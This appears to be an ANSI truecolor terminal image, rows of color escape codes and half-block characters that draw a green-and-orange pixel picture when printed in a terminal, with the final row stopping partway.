\e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m + \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m + \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m + \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m + \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m + \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;2;254;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;163;94;0m\e[38;2;134;78;0m▄\e[48;2;2;1;0m\e[38;2;58;33;0m▄\e[48;2;13;7;0m\e[38;2;133;76;0m▄\e[48;2;64;38;0m\e[38;2;12;7;0m▄\e[48;2;250;144;0m\e[38;2;234;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;146;0m\e[38;2;255;147;0m▄\e[48;2;239;143;2m\e[38;2;255;147;0m▄\e[48;2;223;131;1m\e[38;2;255;147;0m▄\e[48;2;192;120;2m\e[38;2;255;147;0m▄\e[48;2;130;96;5m\e[38;2;255;147;0m▄\e[48;2;82;88;9m\e[38;2;255;148;0m▄\e[48;2;62;104;15m\e[38;2;247;147;1m▄\e[48;2;49;132;22m\e[38;2;212;134;3m▄\e[48;2;57;165;32m\e[38;2;144;95;3m▄\e[48;2;53;117;38m\e[38;2;74;61;8m▄\e[48;2;50;97;39m\e[38;2;47;60;21m▄\e[48;2;35;56;29m\e[38;2;47;81;33m▄\e[48;2;17;22;15m\e[38;2;20;34;19m▄\e[48;2;31;50;26m\e[38;2;48;73;42m▄\e[48;2;55;90;47m\e[38;2;37;56;33m▄\e[48;2;78;132;64m\e[38;2;21;31;18m▄\e[48;2;95;167;78m\e[38;2;18;26;16m▄\e[0m + \e[48;2;48;74;43m\e[38;2;51;78;45m▄\e[48;2;48;74;43m\e[38;2;50;76;44m▄\e[48;2;46;71;42m\e[38;2;12;17;11m▄\e[48;2;32;54;28m\e[38;2;45;93;35m▄\e[48;2;58;112;46m\e[38;2;26;45;17m▄\e[48;2;55;130;37m\e[38;2;121;83;5m▄\e[48;2;57;133;27m\e[38;2;232;138;0m▄\e[48;2;101;96;8m\e[38;2;253;146;0m▄\e[48;2;200;118;1m\e[38;2;254;147;0m▄\e[48;2;248;144;0m\e[38;2;255;147;0m▄\e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;173;100;0m\e[38;2;210;122;0m▄\e[48;2;172;100;0m\e[38;2;76;44;0m▄\e[48;2;214;123;0m\e[38;2;153;88;0m▄\e[48;2;36;21;0m\e[38;2;162;94;0m▄\e[48;2;201;116;0m\e[38;2;20;12;0m▄\e[48;2;254;147;0m\e[38;2;238;137;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;241;143;1m\e[38;2;255;147;0m▄\e[48;2;213;125;0m\e[38;2;255;147;0m▄\e[48;2;117;73;3m\e[38;2;252;147;1m▄\e[48;2;25;36;21m\e[38;2;94;69;18m▄\e[48;2;50;77;44m\e[38;2;39;59;33m▄\e[48;2;51;78;45m \e[48;2;51;78;44m\e[38;2;51;78;45m▄\e[0m + \e[48;2;51;78;45m\e[38;2;50;76;44m▄\e[48;2;40;58;34m\e[38;2;43;36;13m▄\e[48;2;38;37;6m\e[38;2;240;143;2m▄\e[48;2;149;95;6m\e[38;2;254;147;0m▄\e[48;2;226;134;1m\e[38;2;255;147;0m▄\e[48;2;253;146;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;243;140;0m▄\e[48;2;116;67;0m\e[38;2;90;52;0m▄\e[48;2;237;137;0m\e[38;2;254;147;0m▄\e[48;2;248;143;0m\e[38;2;255;147;0m▄\e[48;2;250;144;0m\e[38;2;255;147;0m▄\e[48;2;45;25;0m\e[38;2;191;110;0m▄\e[48;2;64;36;0m\e[38;2;32;18;0m▄\e[48;2;245;141;0m\e[38;2;152;87;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;255;147;0m▄\e[48;2;230;140;6m\e[38;2;254;147;0m▄\e[48;2;25;21;7m\e[38;2;143;86;2m▄\e[48;2;48;74;42m\e[38;2;39;60;34m▄\e[48;2;51;78;45m \e[0m + \e[48;2;41;63;37m\e[38;2;40;47;23m▄\e[48;2;119;70;1m\e[38;2;230;135;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;180;104;0m\e[38;2;120;68;0m▄\e[48;2;135;78;0m\e[38;2;158;91;0m▄\e[48;2;255;147;0m\e[38;2;250;145;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;146;0m▄\e[48;2;252;145;0m\e[38;2;209;120;0m▄\e[48;2;54;31;0m\e[38;2;61;35;0m▄\e[48;2;94;54;0m\e[38;2;159;91;0m▄\e[48;2;254;146;0m\e[38;2;244;140;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;240;144;1m\e[38;2;255;147;0m▄\e[48;2;36;40;18m\e[38;2;70;49;6m▄\e[48;2;50;78;45m\e[38;2;45;69;40m▄\e[0m + \e[48;2;65;48;9m\e[38;2;98;64;6m▄\e[48;2;255;149;0m\e[38;2;255;147;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;254;147;0m\e[38;2;254;146;0m▄\e[48;2;225;130;0m\e[38;2;175;100;0m▄\e[48;2;210;120;0m\e[38;2;253;146;0m▄\e[48;2;209;121;0m\e[38;2;254;147;0m▄\e[48;2;86;49;0m\e[38;2;189;109;0m▄\e[48;2;254;146;0m\e[38;2;142;81;0m▄\e[48;2;255;147;0m\e[38;2;102;59;0m▄\e[48;2;199;115;0m\e[38;2;69;40;0m▄\e[48;2;244;141;0m\e[38;2;238;138;0m▄\e[48;2;253;146;0m\e[38;2;184;105;0m▄\e[48;2;200;115;0m\e[38;2;231;134;0m▄\e[48;2;253;147;0m\e[38;2;254;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;149;98;7m\e[38;2;215;132;5m▄\e[48;2;35;54;32m\e[38;2;31;42;22m▄\e[0m + \e[48;2;133;82;3m\e[38;2;153;89;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m\e[38;2;255;146;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;248;147;0m▄\e[48;2;254;147;0m\e[38;2;242;142;0m▄\e[48;2;204;116;0m\e[38;2;224;131;0m▄\e[48;2;200;115;0m\e[38;2;205;124;1m▄\e[48;2;199;115;0m\e[38;2;175;109;2m▄\e[48;2;172;100;0m\e[38;2;157;102;2m▄\e[48;2;168;97;0m\e[38;2;172;114;3m▄\e[48;2;206;119;0m\e[38;2;156;115;5m▄\e[48;2;215;125;0m\e[38;2;138;111;7m▄\e[48;2;180;105;0m\e[38;2;121;105;8m▄\e[48;2;233;136;0m\e[38;2;120;109;8m▄\e[48;2;254;148;0m\e[38;2;116;111;9m▄\e[48;2;254;148;0m\e[38;2;112;111;10m▄\e[48;2;255;148;0m\e[38;2;130;121;10m▄\e[48;2;254;148;0m\e[38;2;103;105;10m▄\e[48;2;254;148;0m\e[38;2;99;99;9m▄\e[48;2;254;148;0m\e[38;2;106;98;8m▄\e[48;2;254;148;0m\e[38;2;106;96;8m▄\e[48;2;255;148;0m\e[38;2;118;98;7m▄\e[48;2;255;147;0m\e[38;2;123;101;7m▄\e[48;2;255;147;0m\e[38;2;129;99;6m▄\e[48;2;255;147;0m\e[38;2;141;100;5m▄\e[48;2;255;147;0m\e[38;2;166;111;4m▄\e[48;2;255;147;0m\e[38;2;189;122;4m▄\e[48;2;255;147;0m\e[38;2;217;131;1m▄\e[48;2;255;147;0m\e[38;2;248;145;0m▄\e[48;2;255;147;0m\e[38;2;250;148;0m▄\e[48;2;255;147;0m\e[38;2;254;149;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;249;147;1m\e[38;2;254;147;0m▄\e[48;2;47;44;15m\e[38;2;81;54;7m▄\e[0m + \e[48;2;163;95;0m\e[38;2;176;103;0m▄\e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m \e[48;2;255;147;0m\e[38;2;254;147;0m▄\e[48;2;255;147;0m\e[38;2;250;144;0m▄\e[48;2;255;147;0m\e[38;2;238;146;1m▄\e[48;2;254;147;0m\e[38;2;170;117;4m▄\e[48;2;252;147;0m\e[38;2;78;65;5m▄\e[48;2;239;144;1m\e[38;2;36;71;11m▄\e[48;2;220;136;2m\e[38;2;41;122;21m▄\e[48;2;193;124;2m\e[38;2;59;179;31m▄\e[48;2;178;119;4m\e[38;2;69;210;35m▄\e[48;2;129;104;6m\e[38;2;73;219;37m▄\e[48;2;67;87;10m\e[38;2;73;219;37m▄\e[48;2;61;106;15m\e[38;2;73;218;37m▄\e[48;2;52;126;21m\e[38;2;73;218;37m▄\e[48;2;52;150;25m\e[38;2;73;218;37m▄\e[48;2;58;177;30m\e[38;2;73;218;37m▄\e[48;2;63;194;33m\e[38;2;73;218;37m▄\e[48;2;66;204;34m\e[38;2;73;218;37m▄\e[48;2;69;212;36m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;72;219;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;74;220;37m\e[38;2;73;218;37m▄\e[48;2;73;220;37m\e[38;2;73;218;37m▄\e[48;2;73;219;37m\e[38;2;73;218;37m▄\e[48;2;72;214;36m\e[38;2;73;218;37m▄\e[48;2;68;207;35m\e[38;2;73;218;37m▄\e[48;2;65;197;34m\e[38;2;73;218;37m▄\e[48;2;61;185;32m\e[38;2;73;218;37m▄\e[48;2;51;157;27m\e[38;2;73;218;37m▄\e[48;2;41;125;21m\e[38;2;73;218;37m▄\e[48;2;40;106;18m\e[38;2;73;218;37m▄\e[48;2;75;92;10m\e[38;2;73;218;37m▄\e[48;2;76;85;10m\e[38;2;73;219;37m▄\e[48;2;112;94;7m\e[38;2;72;216;36m▄\e[48;2;162;113;5m\e[38;2;64;194;33m▄\e[48;2;219;131;0m\e[38;2;50;152;26m▄\e[48;2;231;138;1m\e[38;2;30;65;14m▄\e[48;2;252;147;0m\e[38;2;106;71;5m▄\e[48;2;97;61;4m\e[38;2;30;31;7m▄\e[0m + \e[48;2;186;108;0m\e[38;2;185;108;0m▄\e[48;2;255;147;0m\e[38;2;254;148;0m▄\e[48;2;255;147;0m\e[38;2;247;144;0m▄\e[48;2;255;147;0m\e[38;2;188;113;1m▄\e[48;2;255;147;0m\e[38;2;110;100;8m▄\e[48;2;248;147;0m\e[38;2;72;136;20m▄\e[48;2;206;124;1m\e[38;2;62;175;29m▄\e[48;2;115;81;4m\e[38;2;67;204;34m▄\e[48;2;55;92;13m\e[38;2;72;217;36m▄\e[48;2;60;157;26m\e[38;2;73;218;37m▄\e[48;2;66;195;32m\e[38;2;73;218;37m▄\e[48;2;70;212;35m\e[38;2;73;218;37m▄\e[48;2;72;215;36m\e[38;2;73;218;37m▄\e[48;2;73;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;210;37m\e[38;2;71;214;37m▄\e[48;2;58;142;37m\e[38;2;57;136;37m▄\e[48;2;51;109;39m\e[38;2;54;109;40m▄\e[48;2;36;76;26m\e[38;2;38;71;31m▄\e[0m + \e[48;2;73;63;12m\e[38;2;24;46;20m▄\e[48;2;89;67;7m\e[38;2;54;120;38m▄\e[48;2;67;119;19m\e[38;2;66;192;35m▄\e[48;2;61;177;29m\e[38;2;73;217;37m▄\e[48;2;71;213;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;71;214;35m\e[38;2;42;129;21m▄\e[48;2;43;131;22m\e[38;2;4;10;2m▄\e[48;2;37;111;19m\e[38;2;4;10;2m▄\e[48;2;60;180;30m\e[38;2;7;22;3m▄\e[48;2;73;218;37m\e[38;2;62;187;31m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m\e[38;2;72;217;36m▄\e[48;2;69;208;35m\e[38;2;20;61;10m▄\e[48;2;43;129;22m\e[38;2;4;11;2m▄\e[48;2;38;116;19m\e[38;2;3;8;1m▄\e[48;2;64;192;32m\e[38;2;19;57;10m▄\e[48;2;73;218;37m\e[38;2;73;219;37m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;214;36m\e[38;2;71;213;36m▄\e[48;2;55;130;37m\e[38;2;55;123;38m▄\e[48;2;54;108;41m\e[38;2;56;110;44m▄\e[48;2;35;60;30m\e[38;2;35;57;30m▄\e[0m + \e[48;2;37;68;29m\e[38;2;38;61;33m▄\e[48;2;58;132;39m\e[38;2;62;134;45m▄\e[48;2;64;179;36m\e[38;2;55;129;37m▄\e[48;2;72;217;36m\e[38;2;71;210;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;27;82;14m\e[38;2;59;178;30m▄\e[48;2;4;11;3m\e[38;2;3;9;1m▄\e[48;2;0;0;0m\e[38;2;8;18;4m▄\e[48;2;1;3;1m\e[38;2;4;12;2m▄\e[48;2;36;112;19m\e[38;2;54;163;27m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;210;36m\e[38;2;72;217;36m▄\e[48;2;4;11;1m\e[38;2;9;28;4m▄\e[48;2;0;0;0m\e[38;2;6;16;3m▄\e[48;2;1;3;1m\e[38;2;6;15;3m▄\e[48;2;13;39;6m\e[38;2;32;94;15m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;70;207;36m\e[38;2;67;196;36m▄\e[48;2;52;110;38m \e[48;2;57;101;47m\e[38;2;56;90;47m▄\e[48;2;36;55;31m\e[38;2;38;58;33m▄\e[0m + \e[48;2;40;63;35m\e[38;2;43;67;38m▄\e[48;2;61;117;48m\e[38;2;45;80;38m▄\e[48;2;54;114;39m\e[38;2;52;110;38m▄\e[48;2;64;177;36m\e[38;2;59;150;37m▄\e[48;2;72;217;36m\e[38;2;72;214;36m▄\e[48;2;73;218;37m \e[48;2;73;218;37m \e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;61;182;30m\e[38;2;73;218;37m▄\e[48;2;45;135;22m\e[38;2;73;218;37m▄\e[48;2;58;174;29m\e[38;2;73;218;37m▄\e[48;2;72;217;36m\e[38;2;73;218;37m▄\e[48;2;73;218;37m 